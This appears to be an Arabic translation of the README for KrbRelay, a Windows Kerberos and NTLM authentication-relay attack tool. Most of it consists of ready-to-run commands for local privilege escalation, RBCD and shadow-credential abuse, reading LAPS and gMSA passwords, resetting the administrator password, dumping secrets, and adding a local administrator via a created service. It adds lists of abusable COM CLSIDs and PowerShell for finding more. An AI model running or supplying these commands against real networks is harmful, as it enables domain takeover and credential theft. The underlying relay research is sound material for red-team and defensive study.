
إطار عمل لترحيل Kerberos في بيئات Windows يتيح ترحيل المصادقة، وتصعيد الامتيازات، والحركة الجانبية عبر بروتوكولات LDAP وSMB وHTTP وRPC.
إعادة توجيه الكلاب ذات الثلاثة رؤوس. لمزيد من التفاصيل على https://googleprojectzero.blogspot.com/2021/10/windows-exploitation-tricks-relaying.html و https://googleprojectzero.blogspot.com/2021/10/using-kerberos-for-authentication-relay.html
من المفترض أن يعمل هذا على معظم أنظمة Windows المحدثة بالكامل. قد تكون هناك صعوبات مع أنظمة تشغيل الخوادم في البيئات المختبرية بسبب حظر جدار الحماية لمحلل OXID، ومع ذلك، فمن المرجح ألا تكون هذه مشكلة أثناء الاختراقات الواقعية، وكذلك الأمر بالنسبة لـ CLSIDs.

بعض البروتوكولات مكتملة أكثر من غيرها، نرحب بطلبات السحب (PRs).
LLMNR
LDAP/LDAPS
HTTP
SMBv2
RPC عبر SMB
# رفع الامتيازات المحلي (LPE)
.\KrbRelay.exe -spn ldap/dc01.htb.local -clsid 90f18417-f0f1-484e-9d3c-59dceee5dbd8 -rbcd S-1-5-21-2982218752-1219710089-3973213059-1606
.\KrbRelay.exe -spn ldap/dc01.htb.local -clsid 90f18417-f0f1-484e-9d3c-59dceee5dbd8 -shadowcred
# LDAP عبر الجلسات
.\KrbRelay.exe -spn ldap/dc01.htb.local -session 2 -clsid 354ff91b-5e49-4bdc-a8e6-1cb6c6877182 -shadowcred
.\KrbRelay.exe -spn ldap/dc01.htb.local -session 2 -clsid 354ff91b-5e49-4bdc-a8e6-1cb6c6877182 -shadowcred win2016$
.\KrbRelay.exe -spn ldap/dc01.htb.local -session 2 -clsid 354ff91b-5e49-4bdc-a8e6-1cb6c6877182 -rbcd S-1-5-21-2982218752-1219710089-3973213059-1606 win2016$
.\KrbRelay.exe -spn ldap/dc01.htb.local -session 2 -clsid 354ff91b-5e49-4bdc-a8e6-1cb6c6877182 -add-groupmember srv_admins domain_user
.\KrbRelay.exe -spn ldap/dc01.htb.local -session 2 -clsid 354ff91b-5e49-4bdc-a8e6-1cb6c6877182 -laps
.\KrbRelay.exe -spn ldap/dc02.htb.local -session 2 -clsid 354ff91b-5e49-4bdc-a8e6-1cb6c6877182 -ssl -gmsa
.\KrbRelay.exe -spn ldap/dc02.htb.local -session 2 -clsid 354ff91b-5e49-4bdc-a8e6-1cb6c6877182 -ssl -reset-password administrator Password123!
# HTTP عبر الجلسات
.\KrbRelay.exe -spn http/exchange.htb.local -endpoint EWS/Exchange.asmx -ssl -session 2 -clsid 354ff91b-5e49-4bdc-a8e6-1cb6c6877182 -ews-search beta,test
.\KrbRelay.exe -spn http/exchange.htb.local -endpoint EWS/Exchange.asmx -ssl -session 2 -clsid 354ff91b-5e49-4bdc-a8e6-1cb6c6877182 -ews-delegate [email protected]
.\KrbRelay.exe -spn http/win2016.htb.local -endpoint iisstart.htm -proxy -session 2 -clsid 354ff91b-5e49-4bdc-a8e6-1cb6c6877182
# SMB عبر الجلسات
.\KrbRelay.exe -spn cifs/win2016.htb.local -session 2 -clsid 354ff91b-5e49-4bdc-a8e6-1cb6c6877182 -console
.\KrbRelay.exe -spn cifs/win2016.htb.local -session 2 -clsid 354ff91b-5e49-4bdc-a8e6-1cb6c6877182 -add-privileges (([System.Security.Principal.WindowsIdentity]::GetCurrent()).User.Value)
.\KrbRelay.exe -spn cifs/win2016.htb.local -session 2 -clsid 354ff91b-5e49-4bdc-a8e6-1cb6c6877182 -secrets
.\KrbRelay.exe -spn cifs/win2016.htb.local -session 2 -clsid 354ff91b-5e49-4bdc-a8e6-1cb6c6877182 -service-add addUser "C:\windows\system32\cmd.exe /c """"C:\windows\system32\net user cube Password123! /add && C:\windows\system32\net localgroup administrators cube /add"""""
# LLMNR
.\KrbRelay.exe -llmnr -spn 'cifs/win2019.htb.local' -secrets
# NTLM (انظر https://github.com/antonioCoco/RemotePotato0 للحصول على CLSIDs)
.\KrbRelay.exe -session 1 -clsid 0ea79562-d4f6-47ba-b7f2-1e9b06ba16a4 -ntlm
.\KrbRelay.exe -session 1 -clsid 0ea79562-d4f6-47ba-b7f2-1e9b06ba16a4 -ntlm -downgrade
CheckPort.exe هي أداة بلغة C# يمكن استخدامها لاكتشاف المنافذ المتاحة لمحلل OXID.
C:\Users\domain_user\Desktop\KrbRelay\CheckPort\bin\Release\CheckPort.exe
[*] جاري البحث عن منافذ متاحة..
[*] المنفذ: 1024 متاح
سنحتاج إلى إلغاء تسلسل OBJREF الخاص بنا داخل عملية تسمح بالمصادقة عبر الشبكة، يمكن التحقق من ذلك بالنظر إلى مستوى الانتحال (Impersonation Level)
عند إعادة التوجيه إلى LDAP أو أي خدمة أخرى لديها توقيع ممكّن ولكن غير مفروض، سنحتاج أيضًا إلى التحقق من أن مستوى المصادقة (Authentication Level) للعملية مضبوط على RPC_C_AUTHN_LEVEL_CONNECT.
العمليات التي تعمل تحت حساب NT Authority\Network service ستستخدم حساب SYSTEM عند المصادقة عبر الشبكة.
أداة لاكتشاف CLSIDs: https://github.com/tyranid/oleviewdotnet
Import-Module .\OleViewDotNet.psd1
Get-ComDatabase -SetCurrent
$comdb = Get-CurrentComDatabase
$clsids = (Get-ComClass).clsid
Get-ComProcess -DbgHelpPath 'C:\Program Files (x86)\Windows Kits\10\Debuggers\x64\dbghelp.dll' | select ProcessId,ExecutablePath,Name,AppId,User,AuthnLevel,ImpLevel
# إعادة توجيه SYSTEM
0bae55fc-479f-45c2-972e-e951be72c0c1 # RPC_C_IMP_LEVEL_IDENTIFY
90f18417-f0f1-484e-9d3c-59dceee5dbd8 # RPC_C_IMP_LEVEL_IMPERSONATE
# إعادة توجيه عبر الجلسات
0289a7c5-91bf-4547-81ae-fec91a89dec5 # RPC_C_IMP_LEVEL_IMPERSONATE
1f87137d-0e7c-44d5-8c73-4effb68962f2 # RPC_C_IMP_LEVEL_IMPERSONATE
73e709ea-5d93-4b2e-bbb0-99b7938da9e4 # RPC_C_IMP_LEVEL_IMPERSONATE
9678f47f-2435-475c-b24a-4606f8161c16 # RPC_C_IMP_LEVEL_IMPERSONATE
9acf41ed-d457-4cc1-941b-ab02c26e4686 # RPC_C_IMP_LEVEL_IMPERSONATE
ce0e0be8-cf56-4577-9577-34cc96ac087c # RPC_C_IMP_LEVEL_IMPERSONATE
# إعادة توجيه SYSTEM
90f18417-f0f1-484e-9d3c-59dceee5dbd8 # RPC_C_IMP_LEVEL_IMPERSONATE
# إعادة توجيه عبر الجلسات
354ff91b-5e49-4bdc-a8e6-1cb6c6877182 # RPC_C_IMP_LEVEL_IMPERSONATE
38e441fb-3d16-422f-8750-b2dacec5cefc # RPC_C_IMP_LEVEL_IMPERSONATE
f8842f8e-dafe-4b37-9d38-4e0714a61149 # RPC_C_IMP_LEVEL_IMPERSONATE
# إعادة توجيه SYSTEM
90f18417-f0f1-484e-9d3c-59dceee5dbd8 # RPC_C_IMP_LEVEL_IMPERSONATE
# إعادة توجيه عبر الجلسات
0289a7c5-91bf-4547-81ae-fec91a89dec5 # RPC_C_IMP_LEVEL_IMPERSONATE
1f87137d-0e7c-44d5-8c73-4effb68962f2 # RPC_C_IMP_LEVEL_IMPERSONATE
5f7f3f7b-1177-4d4b-b1db-bc6f671b8f25 # RPC_C_IMP_LEVEL_IMPERSONATE
73e709ea-5d93-4b2e-bbb0-99b7938da9e4 # RPC_C_IMP_LEVEL_IMPERSONATE
9678f47f-2435-475c-b24a-4606f8161c16 # RPC_C_IMP_LEVEL_IMPERSONATE
98068995-54d2-4136-9bc9-6dbcb0a4683f # RPC_C_IMP_LEVEL_IMPERSONATE
9acf41ed-d457-4cc1-941b-ab02c26e4686 # RPC_C_IMP_LEVEL_IMPERSONATE
bdb57ff2-79b9-4205-9447-f5fe85f37312 # RPC_C_IMP_LEVEL_IMPERSONATE
ce0e0be8-cf56-4577-9577-34cc96ac087c # RPC_C_IMP_LEVEL_IMPERSONATE
لا يعمل من المرة الأولى؟ حاول مرة أخرى ثم تحقق من رموز الأخطاء هذه، وإذا كنت ستفتح مشكلة (Issue)، فيرجى لصق الإخراج والإدخال بالكامل.
System.Runtime.InteropServices.COMException (0x800706BA): خادم RPC غير متاح. (استثناء من HRESULT: 0x800706BA)
System.Runtime.InteropServices.COMException (0x80080004): مسار خاطئ للكائن (استثناء من HRESULT: 0x80080004 (CO_E_BAD_PATH))
أو
System.Runtime.InteropServices.COMException (0x80070422): لا يمكن بدء الخدمة، إما لأنها معطلة أو لأنه لا توجد أجهزة ممكّنة مرتبطة بها. (استثناء من HRESULT: 0x80070422)
System.Runtime.InteropServices.COMException (0x800706D3): خدمة المصادقة غير معروفة.
[*] apReq: 05000b0710000000db003300020<SNIP>
[*] fContextReq: Delegate, MutualAuth, UseDceStyle, Connection
System.UnauthorizedAccessException: تم رفض الوصول.
تم رفض الوصول.